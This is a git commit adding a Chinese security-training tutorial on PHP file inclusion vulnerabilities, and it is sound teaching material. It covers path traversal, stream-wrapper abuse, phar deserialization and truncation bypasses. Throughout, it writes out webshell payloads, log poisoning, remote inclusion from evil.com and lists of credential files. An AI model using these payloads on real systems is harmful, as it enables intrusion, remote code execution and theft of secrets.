first commit
This commit is contained in:
815
02.WEB安全/07.文件包含漏洞.md
Normal file
815
02.WEB安全/07.文件包含漏洞.md
Normal file
@@ -0,0 +1,815 @@
|
||||
# 07.文件包含漏洞
|
||||
|
||||
## 1. 漏洞概述
|
||||
|
||||
程序在引用文件的时,引用的文件名,用户可控的情况,传入的文件名没有经过合理的校验或校验不严,从而操作了预想之外的文件,就有可能导致文件泄漏和恶意的代码注入。
|
||||
程序开发人员一般会把重复使用的函数写到单个文件中,需要使用某个函数时直接调用此文件,而无需再次编写,这种文件调用的过程一般被称为文件包含。
|
||||
程序开发人员一般希望代码更灵活,所以将被包含的文件设置为变量,用来进行动态调用,但正是由于这种灵活性,从而导致客户端可以调用一个恶意文件,造成文件包含漏洞。
|
||||
几乎所有脚本语言都会提供文件包含的功能,但文件包含漏洞在 PHP Web Application 中居多, 而在 JSP、ASP、ASP.NET 程序中却非常少,甚至没有,这是有些语言设计的弊端。在 PHP 中经常出现包含漏洞,但这并不意味这其他语言不存在。
|
||||
|
||||
### 1.1 常见文件包含函数
|
||||
|
||||
```php
|
||||
include():执行到 include 时才包含文件,找不到被包含文件时只会产生警告,脚本将继续执行;
|
||||
require():只要程序一运行就包含文件,找不到被包含的文件时会产生致命错误,并停止脚本;
|
||||
include_once()和 require_once():若文件中代码已被包含,则不会再次包含。
|
||||
```
|
||||
|
||||
### 1.2 代码分析
|
||||
|
||||

|
||||
`$_GET['filename']`接收客户端传的参数,其中没有任何过滤带入到 include 函数中,include 包含这个文件,引入到当前文件中,因此会造成文件包含漏洞。
|
||||
|
||||
### 1.3 利用方法
|
||||
|
||||
文件包含漏洞,需要引入上传的文件到网站目录,或服务器内部的文件,而且权限是可读,才能引入进来,或远程包含进来,但是需要条件。
|
||||
|
||||
### 1.4 本地文件包含
|
||||
|
||||
本地包含文件,被包含的文件在本地。
|
||||
|
||||
#### 1.4.1 文件包含/etc/passwd
|
||||
|
||||
如果存在漏洞,文件又存在的时候,不是 php文件会被读取显示在页面中。/etc/passwd文件是 linux 里的敏感信息,文件里存有linux用户的配置信息。
|
||||
`?filename=../../../../../../../etc/passwd&submit=1`
|
||||

|
||||
|
||||
#### 1.4.2 文件包含图片
|
||||
|
||||
寻找网站上传点,把 php 恶意代码文件改成 jpg 上传到网站上,本地包含引入恶意代码,当文件被引入后,代码就被执行。
|
||||
`<?php phpinfo();eval($_POST['cmd']);?>` 保存为 shell.jpg
|
||||
上传图片格式到网站,再用文件包含漏洞引入图片,成功执行代码。
|
||||

|
||||

|
||||
|
||||
### 1.5 包含日志文件 getshell
|
||||
|
||||
#### 1.5.1 原理分析
|
||||
|
||||
中间件例如 iis 、apache、nginx 这些 web 中间件,都会记录访问日志,如果访问日志中或错误日志中,存在有 php 代码,也可以引入到文件包含中。如果日志有 php 恶意代码,也可导致 getshell。
|
||||
使用 burpsuite 访问GET ,填写 `<?php phpinfo();eval($_POST[cmd]);?>`
|
||||
linux 日志文件权限默认是 root,而php 的权限是 www-data,一般情况下都是读取不了,如果是 windows 环境下,权限是允许的。
|
||||
linux 默认的 apache 日志文件路径
|
||||
访问日志:
|
||||
`/var/log/apache2/access.log`
|
||||
错误日志:
|
||||
`/var/log/apache2/error.log`
|
||||
把文件日志包含进来即可。
|
||||
|
||||
#### 1.5.2 搭建测试环境
|
||||
|
||||
```php
|
||||
<?php
|
||||
include $_GET['file'];
|
||||
?>
|
||||
```
|
||||
|
||||
#### 1.5.3 抓包测试
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
#### 1.5.4 包含access.log
|
||||
|
||||

|
||||
|
||||
### 1.6 包含环境变量 getshell
|
||||
|
||||
在User-Agen写入php代码
|
||||
|
||||

|
||||
|
||||
/proc/self/environ 这个文件里保存了系统的一些变量,这里会有用户访问web的session信息,其中也会包含user-agent的参数,这个参数是你浏览器名称的参数。而这个参数在我们客户端是可以修改的。
|
||||
|
||||

|
||||
|
||||
如果权限足够(大部分情况下/proc目录下的文件是不行的),包含这个文件就能 getshell
|
||||
|
||||
## 2. 伪协议
|
||||
|
||||
当我们本地写不进去,远程又包含不了,怎么办呢,这时我们就需要用到php伪协议了也称封装器,直接写入代码执行。
|
||||
|
||||
### 2.1 常见协议
|
||||
|
||||
file:// — 访问本地文件系统
|
||||
http:// — 访问 HTTP(s) 网址
|
||||
ftp:// — 访问 FTP(s) URLs
|
||||
php:// — 访问各个输入/输出流(I/O streams)
|
||||
zlib:// — 压缩流
|
||||
data:// — 数据(RFC 2397)
|
||||
glob:// — 查找匹配的文件路径模式
|
||||
phar:// — PHP 归档
|
||||
ssh2:// — Secure Shell 2
|
||||
rar:// — RAR
|
||||
ogg:// — 音频流
|
||||
expect:// — 处理交互式的流
|
||||
|
||||

|
||||
|
||||
### 2.2 php.ini 参数设置
|
||||
|
||||
在 php.ini 里有两个重要的参数:allow_url_fopen、allow_url_include。
|
||||
allow_url_fopen:默认值是 ON。允许 url 里的封装协议访问文件;
|
||||
allow_url_include:默认值是 OFF。不允许包含 url 里的封装协议包含文件;
|
||||
|
||||

|
||||
|
||||
修改一下php配置文件
|
||||
|
||||

|
||||
|
||||
查看效果
|
||||
|
||||

|
||||
|
||||
### 2.3 各种协议利用方法
|
||||
|
||||
#### 2.3.1 file://
|
||||
|
||||
通过file协议可以访问本地文件系统,读取到文件的内容,不受allow_url_fopen与allow_url_include的影响
|
||||
`/test.php?file=C:\Windows\System32\drivers\etc\hosts`
|
||||
|
||||

|
||||
|
||||
#### 2.3.2 http://、ftp://
|
||||
|
||||
前提条件
|
||||
|
||||
```php
|
||||
allow_url_fopen = On
|
||||
allow_url_include = On
|
||||
```
|
||||
|
||||

|
||||
|
||||
#### 2.3.3 php://filter
|
||||
|
||||
php://filter是一种元封装器,设计用于数据流打开时的筛选过滤应用。这对于一体式的文件函数非常有用,类似readfile()、file()和file_get_contents(),在数据流内容没有读取之前没有机会应用其他过滤器有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,这时候我们可以以base64编码的方式读取指定文件的源码,payload:
|
||||
`php://filter/convert.base64 -encode/resource= 文件路径`
|
||||
`/test.php?file=php://filter/convert.base64-encode/resource=./test.php`
|
||||
|
||||

|
||||
|
||||
Base64解码之后可以得到数据内容
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
#### 2.3.4 php://input
|
||||
|
||||
前提条件
|
||||
|
||||
```php
|
||||
allow_url_include = On
|
||||
对allow_url_fopen不做要求
|
||||
```
|
||||
|
||||
php://input可以读取没有处理过的post数据,就是用它之后,post直接放完整的php代码就可以
|
||||
访问此页面
|
||||
|
||||
```php
|
||||
test.php?file=php://input
|
||||
```
|
||||
|
||||
并且在请求体里加上 Payload
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
执行系统命令
|
||||
|
||||

|
||||
|
||||
写入shell
|
||||
`<?php file_put_contents('./shell.php','<?php eval($_POST[1]);?>');?>`
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
|
||||
#### 2.3.5 zlib://、bzip2://
|
||||
|
||||
压缩流,可以访问压缩文件中的子文件,将子文件的内容当做php代码执行,不受allow_url_fopen、allow_url_include影响
|
||||
文件路径无绝对路径限制;zlib://协议文件压缩为zip或gz都可以,bzip2://协议文件压缩为bz2;后缀名也可以改为其他如图片后缀
|
||||
|
||||
```
|
||||
/test.php?file=compress.zlib://shell.zip
|
||||
/test.php?file=compress.bzip2://shell.bz2
|
||||
```
|
||||
|
||||
将phpinfo.php压缩之后,上传并且利用伪协议包含
|
||||
|
||||

|
||||
|
||||
#### 2.3.6 data://
|
||||
|
||||
前提条件
|
||||
|
||||
```
|
||||
php版本大于等于php5.2
|
||||
allow_url_fopen = On
|
||||
allow_url_include = On
|
||||
```
|
||||
|
||||
利用 data:// 伪协议可以直接达到执行php代码的效果,例如执行 phpinfo() 函数,`data://text/plain/ ;base64,php 马的 base64 形式`,如果base64加密出现+需要做URL编码
|
||||
|
||||
```
|
||||
<?php system("whoami");?> base64编码后:PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==
|
||||
/test.php?file=data://text/plain/;base64,PD9waHAgc3lzdGVtKCJ3aG9hbWkiKTs/Pg==
|
||||
```
|
||||
|
||||

|
||||
|
||||
使用phpinfo()
|
||||
|
||||

|
||||
|
||||
如果不把 + URL编码成 %2b 是会报错的
|
||||
|
||||
#### 2.3.7 zip://
|
||||
|
||||
压缩流,可以访问压缩文件中的子文件,将子文件的内容当做php代码执行,不受allow_url_fopen、allow_url_include影响
|
||||
文件路径必须为绝对路径;zip文件后缀名可以改为其他如图片后缀;#进行url编码为%23
|
||||
|
||||
```
|
||||
/test.php?file=zip://C:/Users/Administrator/Desktop/usbwebserver/root/shell.zip%23shell.php
|
||||
```
|
||||
|
||||

|
||||
|
||||
将shell.zip改为jpg格式后尝试
|
||||
|
||||
```
|
||||
/test.php?file=zip://C:/Users/Administrator/Desktop/usbwebserver/root/shell.jpg%23shell.php
|
||||
```
|
||||
|
||||

|
||||
|
||||
#### 2.3.8 glob://
|
||||
|
||||
PHP 伪协议 glob:// 可以用于获取符合指定模式的文件路径列表。类似于原生的 glob() 函数,但 glob:// 可以用于读取远程文件系统或者压缩文件中的文件列表。例如:
|
||||
|
||||
```php
|
||||
$files = glob('glob://*.php');
|
||||
print_r($files);
|
||||
```
|
||||
|
||||
这个例子将返回所有 PHP 扩展名的文件列表,不仅仅限于当前服务器上的文件系统。可以通过指定不同的调用参数,参数之间使用“|” 分隔,例如“glob://*.txt|flags=GLOB_BRACE”,来指定返回不同的结果集。
|
||||
网站源码如下
|
||||
|
||||
```php
|
||||
<?php
|
||||
$it = new DirectoryIterator($_GET['file']);
|
||||
foreach($it as $f){
|
||||
printf("%s", $f->getFilename());
|
||||
echo '</br>';
|
||||
}
|
||||
?>
|
||||
```
|
||||
|
||||
遍历文件或者通配符,打印需要一个过程
|
||||
|
||||
```php
|
||||
/glob.php?file=glob://C:/Users/Administrator/Desktop/usbwebserver/root/*.*
|
||||
```
|
||||
|
||||

|
||||
|
||||
#### 2.3.9 phar://
|
||||
|
||||
PHP 伪协议 phar:// 可以用于在 PHP 中访问 Phar(PHP 归档)文件中的资源(如文件和目录)。
|
||||
Phar 文件是一个 PHP 应用程序或库的预打包归档文件,它可以包含代码、配置、模板、图片、音频等相关资源。Phar 格式相当于 Java 中的 JAR 包,.NET 中的 DLL 文件,或者 Python 中的 Egg 包。
|
||||
通过 phar:// 协议,我们可以在 PHP 中方便地对 Phar 文件中的特定资源进行读取、写入、修改、添加和删除等操作,而无需解压缩整个 Phar 文件,从而提高了文件操作的效率。
|
||||
举例来说,假设我们的目录结构如下:
|
||||
|
||||
```
|
||||
app.phar
|
||||
index.php
|
||||
```
|
||||
|
||||
其中,app.phar 是一个包含库代码和配置文件的 Phar 文件。我们可以通过以下方式在 index.php 中调用 Phar 文件中包含的某个文件:
|
||||
|
||||
```
|
||||
$pharFile = 'phar://app.phar/path/to/file.txt';
|
||||
$fileContent = file_get_contents($pharFile);
|
||||
```
|
||||
|
||||
这是将 Phar 文件中 /path/to/file.txt 文件的内容读取到 $fileContent 变量中。可以看出,通过 phar:// 协议,我们可以轻松地访问 Phar 文件中的资源。
|
||||
可以调用phar://的函数列表
|
||||
|
||||
| fileatime | filectiome | file_exists | file_get_contents |
|
||||
| ----------------- | ------------- | ------------ | ----------------- |
|
||||
| file_put_contents | file | filegroup | fopen |
|
||||
| fileinode | filemtiome | fileowner | fileperms |
|
||||
| is_dir | is_executable | is_file | is_link |
|
||||
| is_readable | is_writable | is_writeable | parse_ini_file |
|
||||
| copy | unlink | stat | readfile |
|
||||
|
||||
phar文件要能够上传到服务器端。如file_exists(),fopen(),file_get_contents(),file()等文件操作的函数要有可用的魔术方法作为“跳板”。文件操作函数的参数可控,且:、/、phar等特殊字符没有被过滤。
|
||||
可以理解为一个标志,格式为` xxx<?php xxx ;__HALT_COMPILER() ;?> `,前面内容不限,但必须以__HALT_COMPILER() ;?> 来结尾,否则phar扩展将无法识别这个文件为phar文件。
|
||||
phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。
|
||||
|
||||
##### 2.3.9.1 案例
|
||||
|
||||
注意:要将php.ini中的phar.readonly选项设置为Off,否则无法生成phar文件。
|
||||
|
||||

|
||||
|
||||
phar.php
|
||||
|
||||
```php
|
||||
<?php
|
||||
class TestObject {
|
||||
}
|
||||
$phar = new Phar("phar.phar"); // 后缀名必须为 phar
|
||||
$phar->startBuffering();
|
||||
$phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置 stub
|
||||
$o = new TestObject();
|
||||
$o -> data='eagleslab';
|
||||
$phar->setMetadata($o); // 将自定义的 meta-data 存入 manifest
|
||||
$phar->addFromString("test.txt", "test"); // 添加要压缩的文件
|
||||
// 签名自动计算
|
||||
$phar->stopBuffering();
|
||||
?>
|
||||
```
|
||||
|
||||
访问后,会生成一个phar.phar在当前目录下。用HxD分析可以看到是meta-data是以序列化的形式存储的。
|
||||
|
||||

|
||||
|
||||
有序列化数据必然会有反序列化操作,php一大部分的文件系统函数在通过 phar:// 伪协议解析phar文件时,都会将meta-data进行反序列化,测试后受影响的函数如下:
|
||||
phartest.php
|
||||
|
||||
```php
|
||||
<?php
|
||||
class TestObject{
|
||||
function __destruct()
|
||||
{
|
||||
echo $this -> data; // TODO: Implement __destruct() method.
|
||||
}
|
||||
}
|
||||
include('phar://phar.phar');
|
||||
?>
|
||||
```
|
||||
|
||||
访问结果如下
|
||||
|
||||

|
||||
|
||||
将phar伪造成其他格式的文件
|
||||
在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是`<?php __HALT_COMPILER() ;?>`这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件。
|
||||
phar.php
|
||||
|
||||
```php
|
||||
<?php
|
||||
class TestObject {
|
||||
}
|
||||
$phar = new Phar('phar.phar');
|
||||
$phar -> startBuffering();
|
||||
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); // 设置 stub ,增加 gif文件头
|
||||
$phar ->addFromString('test.txt','test'); // 添加要压缩的文件
|
||||
$object = new TestObject();
|
||||
$object -> data = 'eagleslab';
|
||||
$phar -> setMetadata($object); // 将自定义 meta-data 存入 manifest
|
||||
$phar -> stopBuffering();
|
||||
?>
|
||||
```
|
||||
|
||||
采用这种方法可以绕过很大一部分上传检测。
|
||||
验证环境准备
|
||||
|
||||
```php
|
||||
upload_file.php ,后端检测文件上传,文件类型是否为 gif ,文件后缀名是否为 gif
|
||||
upload_file.html 文件上传表单
|
||||
file_un.php 存在 file_exists() ,并且存在 __destruct()
|
||||
```
|
||||
|
||||
upload_file.php内容
|
||||
|
||||
```php
|
||||
<?php
|
||||
if (($_FILES["file"]["type"]=="image/gif")&&(substr($_FILES["file"]["name"],
|
||||
strrpos($_FILES["file"]["name"], '.')+1))== 'gif') {
|
||||
echo "Upload: " . $_FILES["file"]["name"];
|
||||
echo "Type: " . $_FILES["file"]["type"];
|
||||
echo "Temp file: " . $_FILES["file"]["tmp_name"];
|
||||
if (file_exists("upload_file/" . $_FILES["file"]["name"]))
|
||||
{
|
||||
echo $_FILES["file"]["name"] . " already exists. ";
|
||||
}
|
||||
else
|
||||
{
|
||||
move_uploaded_file($_FILES["file"]["tmp_name"],
|
||||
"upload_file/" .$_FILES["file"]["name"]);
|
||||
echo "Stored in: " . "upload_file/" . $_FILES["file"]["name"];
|
||||
}
|
||||
}
|
||||
else
|
||||
{
|
||||
echo "Invalid file,you can only upload gif";
|
||||
}
|
||||
```
|
||||
|
||||
upload_file.html内容
|
||||
|
||||
```html
|
||||
<!DOCTYPE html>
|
||||
<html lang="en">
|
||||
<head>
|
||||
<meta charset="UTF-8">
|
||||
<title>Title</title>
|
||||
</head>
|
||||
<body>
|
||||
<form action="upload_file.php" method="post"
|
||||
enctype="multipart/form-data">
|
||||
<input type="file" name="file" />
|
||||
<input type="submit" name="Upload" />
|
||||
</form>
|
||||
</body>
|
||||
</html>
|
||||
```
|
||||
|
||||
file_un.php内容
|
||||
|
||||
```php
|
||||
<?php
|
||||
$filename=$_GET['filename'];
|
||||
class AnyClass{
|
||||
var $output = 'echo "ok";';
|
||||
function __destruct()
|
||||
{
|
||||
eval($this -> output);
|
||||
}
|
||||
}
|
||||
file_exists($filename);
|
||||
```
|
||||
|
||||
payload制作
|
||||
首先是根据file_un.php写一个生成phar的php文件,当然需要绕过gif,所以需要加GIF89a,然后我们访问这个php文件后,生成了phar.phar,修改后缀为gif,上传到服务器,然后利用file_exists,使用phar://执行代码
|
||||
|
||||
```php
|
||||
<?php
|
||||
class AnyClass{
|
||||
var $output = 'echo "ok";';
|
||||
function __destruct()
|
||||
{
|
||||
eval($this -> output);
|
||||
}
|
||||
}
|
||||
$phar = new Phar('eval.phar');
|
||||
$phar -> stopBuffering();
|
||||
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); // 指定文件头
|
||||
$phar -> addFromString('test.txt','test');
|
||||
$object = new AnyClass();
|
||||
$object -> output= 'phpinfo();'; // 此处就是前面反序列输出的位置,也就是可以控制
|
||||
$phar -> setMetadata($object);
|
||||
$phar -> stopBuffering();
|
||||
?>
|
||||
```
|
||||
|
||||
攻击过程
|
||||
访问我们的html并上传eval.phar文件可以发现禁止了
|
||||
|
||||

|
||||
|
||||
这个时候我们可以修改后缀名phar为gif
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
可以看到文件上传成功了,那我们可以用file_un.php文件来执行paylaod
|
||||
|
||||
```html
|
||||
/file_un.php?filename=phar://upload_file/eval.gif
|
||||
```
|
||||
|
||||

|
||||
|
||||
#### 2.3.10 expect://
|
||||
|
||||
该封装协议默认未开启
|
||||
`expect://` 是 PHP 中的一个伪协议(Wrapper),用于执行交互式命令。它在 PHP 5.4.0 版本中被引入,需要安装 Expect 扩展才能使用。
|
||||
Expect 是一个用于自动化交互式进程的工具,它可以从一个脚本中发送命令,并且根据命令输出来自动匹配响应,从而实现自动化控制。在 PHP 中,通过 `expect://` 伪协议可以直接访问 Expect 工具,方便地使用其功能。
|
||||
下面是一个 `expect://` 的实例:
|
||||
|
||||
```php
|
||||
// 通过 expect:// 打开 telnet 连接
|
||||
$handle = fopen("expect://telnetbbs.example.com", "r+");
|
||||
|
||||
// 像 telnet 发送命令
|
||||
fwrite($handle, "username\n");
|
||||
fwrite($handle, "password\n");
|
||||
fwrite($handle, "ls\n");
|
||||
|
||||
// 读取 telnet 输出
|
||||
echo stream_get_contents($handle);
|
||||
|
||||
// 关闭连接
|
||||
fclose($handle);
|
||||
```
|
||||
|
||||
在上面的例子中,我们通过 `expect://` 打开了一个 Telnet 连接,并向其发送了一些命令,最后读取了 Telnet 的响应并关闭了连接。
|
||||
需要注意的是,使用 `expect://` 时需要安装 Expect 扩展,如果扩展没有安装,则会抛出一个致命错误。而且使用 Expect 执行交互式命令需要精确匹配命令输出中的某些字符,因此需要更加仔细地编写代码。
|
||||
如果没有安装这个扩展会报错
|
||||
|
||||

|
||||
|
||||
|
||||
#### 2.3.11 ssh2://
|
||||
|
||||
该封装协议默认未开启
|
||||
|
||||
```html
|
||||
ssh2.shell://user:pass@example.com:22/xterm
|
||||
```
|
||||
|
||||
#### 2.3.12 rar://
|
||||
|
||||
该封装协议默认未开启
|
||||
|
||||
#### 2.3.13 ogg://
|
||||
|
||||
该封装协议默认未开启
|
||||
|
||||
```html
|
||||
ogg://soundfile.ogg
|
||||
```
|
||||
|
||||
`ogg://` 是 PHP 中的一个伪协议(Wrapper),用于读取 Ogg Vorbis 格式的音频文件。通过 `ogg://` 伪协议,我们可以像操作本地文件一样地读取和处理 Ogg Vorbis 格式的音频文件,无需下载到本地硬盘。
|
||||
Ogg Vorbis 是一个自由、开放的音频压缩格式,与 MP3 相比,它有更好的压缩比和音频质量,通常用于开源软件的音频压缩和传输。
|
||||
下面是一个 `ogg://` 的实例:
|
||||
|
||||
```php
|
||||
// 打开 Ogg Vorbis 文件
|
||||
$file = fopen("ogg://example.com/song.ogg", "rb");
|
||||
|
||||
// 读取文件内容
|
||||
$content = stream_get_contents($file);
|
||||
|
||||
// 关闭文件
|
||||
fclose($file);
|
||||
```
|
||||
|
||||
在上面的代码中,我们打开了一个远程 Ogg Vorbis 文件,读取了其中的内容并关闭了文件句柄。
|
||||
需要注意的是,使用 `ogg://` 伪协议需要安装相关扩展,如 Ogg 和 Vorbis 扩展等。同时,由于 Ogg 文件通常较大,因此在读取和处理数据时需要考虑内存占用和性能问题。
|
||||
|
||||
## 3. 文件包含常用路径
|
||||
|
||||
日志文件
|
||||
|
||||
```html
|
||||
/usr/local/apache2/logs/access_log
|
||||
/logs/access_log
|
||||
/etc/httpd/logs/access_log
|
||||
/var/log/httpd/access_log
|
||||
```
|
||||
|
||||
网站配置文件
|
||||
|
||||
```html
|
||||
dedecms 数据库配置文件 data/common.inc.php,
|
||||
discuz 全局配置文件 config/config_global.php,
|
||||
phpcms 配置文件 caches/configs/database.php
|
||||
phpwind 配置文件 conf/database.php
|
||||
wordpress 配置文件 wp-config.php
|
||||
```
|
||||
|
||||
包含系统配置文件
|
||||
|
||||
```html
|
||||
windows
|
||||
C:/boot.ini//查看系统版本
|
||||
C:/Windows/System32/inetsrv/MetaBase.xml//IIS 配置文件
|
||||
C:/Windows/repairsam//存储系统初次安装的密码
|
||||
C:/Program Files/mysql/my.ini//Mysql 配置
|
||||
C:/Program Files/mysql/data/mysql/user.MYD//Mysql root
|
||||
C:/Windows/php.ini//php 配置信息
|
||||
C:/Windows/my.ini//Mysql 配置信息
|
||||
|
||||
linux
|
||||
/root/.ssh/authorized_keys
|
||||
/root/.ssh/id_rsa
|
||||
/root/.ssh/id_ras.keystore
|
||||
/root/.ssh/known_hosts
|
||||
/etc/passwd
|
||||
/etc/shadow
|
||||
/etc/my.cnf
|
||||
/etc/httpd/conf/httpd.conf
|
||||
/root/.bash_history
|
||||
/root/.mysql_history
|
||||
/proc/self/fd/fd[0-9]*(文件标识符)
|
||||
/proc/mounts
|
||||
/porc/config.gz
|
||||
```
|
||||
|
||||
包含远程文件
|
||||
当远程文件开启时,可以包含远程文件到本地执行。当 allow_url_fopen=On
|
||||
allow_url_include=ON 两个条件同时为 On 允许远程包含文件。
|
||||
|
||||

|
||||
|
||||
|
||||
## 4. 绕过截断
|
||||
|
||||
假如用户控制 $file 的值为 :../../etc/passwd
|
||||
那么这段代码相当于 include 'inc/../../etc/passwd.htm' ,而这个文件显然是不存在
|
||||
|
||||
```php
|
||||
<?php include("inc/" . $_GET['file'] . ".htm"); ?>
|
||||
```
|
||||
|
||||
### 4.1 %00
|
||||
|
||||
需要注意的是, %00 截断需要 php 版本小于 5.3.4 ,且关闭 magic_quotes_gpc 功能。
|
||||
%00 为结束符,在 filename 后带上 %00 ,就可以截断末尾的 .php 。
|
||||
|
||||
```php
|
||||
/test.php?file=../../../../../windows/system32/drivers/etc/hosts%00
|
||||
```
|
||||
|
||||

|
||||
|
||||
### 4.2 ?
|
||||
|
||||
截断方法就是 ?号截断,在路径后面输入 ?号,服务器会认为 ?号后面的内容为 GET 方法传递的参数"?" 符号在 URL 中通常被解释为查询字符串的起始符号,并将其后面的内容作为查询参数传递给服务器。在文件包含攻击中,攻击者试图通过构造恶意请求来读取或执行未授权访问的文件。
|
||||
|
||||
```php
|
||||
/test.php?file=http://file.eagleslab.com:8889/data/shell.txt?
|
||||
/test.php?file=http://file.eagleslab.com:8889/data/shell.txt%3f
|
||||
/test.php?file=http://file.eagleslab.com:8889/data/shell.txt%00
|
||||
```
|
||||
|
||||

|
||||
|
||||
### 4.3 路径长度截断
|
||||
|
||||
Windows 下目录最大长度为 256 字节,超出的部分会被丢弃
|
||||
Linux 下目录最大长度为 4096 字节,超出的部分会被丢弃
|
||||
|
||||
```php
|
||||
/test.php?file=shell.txt/././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././././
|
||||
```
|
||||
|
||||

|
||||
|
||||
### 4.4 点号截断
|
||||
|
||||
类似长度截断, php 版本小于 5.3 可以成功,只适用 windows ,点号需要多于 256
|
||||
|
||||
```php
|
||||
/test.php?file=shell.txt............................................................................................................................................................................................................................................................................................................................................................
|
||||
```
|
||||
|
||||

|
||||
|
||||
### 4.5 问号绕过
|
||||
|
||||
在一些 Web 服务器上,文件名后加 "?" 号会被解释为查询字符串的起始符号,并将其后面的内容作为查询参数传递给服务器。因此,如果一个网站存在文件包含漏洞,攻击者可以尝试在文件名后加 "?" 号并构造一个恶意查询参数来绕过某些安全检查。
|
||||
但是,这种攻击方式并不是所有 Web 服务器都支持。例如, Apache Web 服务器默认情况下不允许在文件名后加"?" 号进行文件包含操作,而需要在配置文件中显式开启该功能。
|
||||
|
||||
### 4.6 #号绕过
|
||||
|
||||
"#" 符号在 URL 中通常被解释为锚点或片段标识符,用于指定文档内的特定位置。在文件包含攻击中,攻击者试图通过构造恶意请求来读取或执行未授权访问的文件。文件名后加 "%23"(# 号编码: %23)
|
||||
|
||||
### 4.7 空格绕过
|
||||
|
||||
空格字符在 URL 中通常会被转义为 "%20" 或 "+" 等编码形式。因此,如果攻击者尝试在 URL 中使用空格字符来绕过文件包含防护措施,大多数 Web 服务器会将空格字符解释为编码后的形式,并根据配置文件或应用程序代码进行相应的处理。
|
||||
|
||||
### 4.8 编码
|
||||
|
||||
通过 URL 编码来绕过过滤:攻击者可以使用 URL 编码来混淆字符,从而绕过过滤器的检查。
|
||||
|
||||
### 4.9 伪协议
|
||||
|
||||
用伪协议尝试攻击
|
||||
利用伪协议来绕过过滤:攻击者可以使用伪协议(如 php://input )来绕过过滤器的检查。
|
||||
|
||||
### 4.10 null字符
|
||||
|
||||
用null 字节来绕过过滤:攻击者可以在文件路径中插入 null 字节( \0 ),使得文件被截断,绕过过滤器的检查。
|
||||
在许多编程语言和操作系统中, null 字符( \0 )用作字符串的结束标志。在文件系统中,如果文件名包含
|
||||
null 字符,则系统将其视为字符串的结束,从而导致文件路径被截断,绕过一些安全检查。
|
||||
|
||||
## 5. SRC挖掘思路
|
||||
|
||||
1. 确定漏洞点
|
||||
|
||||
- 观察 URL 或请求参数中是否存在文件路径参数,例如:
|
||||
|
||||
```
|
||||
http://example.com/index.php?file=home.html
|
||||
```
|
||||
|
||||
- 观察文件包含函数,例如:
|
||||
|
||||
```php
|
||||
include($_GET['file']);
|
||||
require($_POST['path']);
|
||||
```
|
||||
|
||||
2. 常见的文件包含测试
|
||||
|
||||
- 目录遍历测试
|
||||
|
||||
尝试使用 `../` 进行目录遍历:
|
||||
|
||||
```
|
||||
file=../../../../etc/passwd
|
||||
file=../../../../windows/system32/drivers/etc/hosts
|
||||
```
|
||||
|
||||
如果服务器允许,可能会读取敏感文件,例如 Linux 的 `/etc/passwd` 或 Windows 的 `hosts` 文件。
|
||||
|
||||
- 协议绕过
|
||||
|
||||
某些 PHP 版本支持 `php://`、`data://` 等流协议:
|
||||
|
||||
```
|
||||
file=php://filter/convert.base64-encode/resource=index.php # 读取文件并编码
|
||||
file=data:text/plain;base64,PD9waHAgcGhwaW5mbygpOyA/Pg== # 直接执行 PHP 代码
|
||||
```
|
||||
|
||||
- 日志包含
|
||||
|
||||
如果可以写入日志文件,可以尝试包含日志文件执行代码:
|
||||
|
||||
```
|
||||
file=/var/log/nginx/access.log
|
||||
```
|
||||
|
||||
然后访问:
|
||||
|
||||
```
|
||||
User-Agent: <?php system($_GET['cmd']); ?>
|
||||
```
|
||||
|
||||
再用 `file=/var/log/nginx/access.log&cmd=id` 执行命令。
|
||||
|
||||
- Session 文件包含
|
||||
|
||||
如果目标网站使用 PHP session,并且可以控制 `session_id()`,尝试包含 session 文件:
|
||||
|
||||
```
|
||||
file=/var/lib/php/sessions/sess_<session_id>
|
||||
```
|
||||
|
||||
然后在 session 中写入 PHP 代码进行执行。
|
||||
|
||||
3. RCE(远程代码执行)利用
|
||||
|
||||
如果 `allow_url_include=On`,尝试包含远程文件:
|
||||
|
||||
```
|
||||
file=http://evil.com/shell.txt
|
||||
```
|
||||
|
||||
如果可以写入包含的文件(如日志、缓存),则写入 PHP 代码后再包含。
|
||||
|
||||
结合 `php://input` 方式:
|
||||
|
||||
```
|
||||
file=php://input
|
||||
```
|
||||
|
||||
然后在 POST 请求体中传入:
|
||||
|
||||
```
|
||||
<?php system($_GET['cmd']); ?>
|
||||
```
|
||||
|
||||
4. 绕过与防御
|
||||
|
||||
**文件后缀绕过**:如果 `file.php` 过滤了 `.php`,尝试 `file.php%00`(PHP 5.x)、`file`(某些配置)。
|
||||
|
||||
**双写绕过**:如果 `..` 被拦截,尝试 `....//` 或 `....\/`。
|
||||
|
||||
**路径分隔符绕过**:Windows 下尝试 `..\`,Linux 下尝试 `../../`。
|
||||
|
||||
**编码绕过**:
|
||||
|
||||
- URL 编码:`%2e%2e%2f`
|
||||
- Base64 编码:`Lw==` 代表 `/`
|
||||
|
||||
5. 手动+自动化测试工具
|
||||
|
||||
**手动测试**:Burp Suite、浏览器调试
|
||||
|
||||
**自动化工具**:
|
||||
|
||||
- **LFI 自动化测试工具**:LFISuite、Fimap
|
||||
- **日志包含辅助工具**:Burp Collaborator、Metasploit
|
||||
|
||||
|
||||
|
||||
## 6. 文件包含漏洞防御方案
|
||||
|
||||
1. 严格判断包含中的参数是否外部可控,因为文件包含漏洞利用成功与否的关键点就在于被包含的文件是否可被外部控制;
|
||||
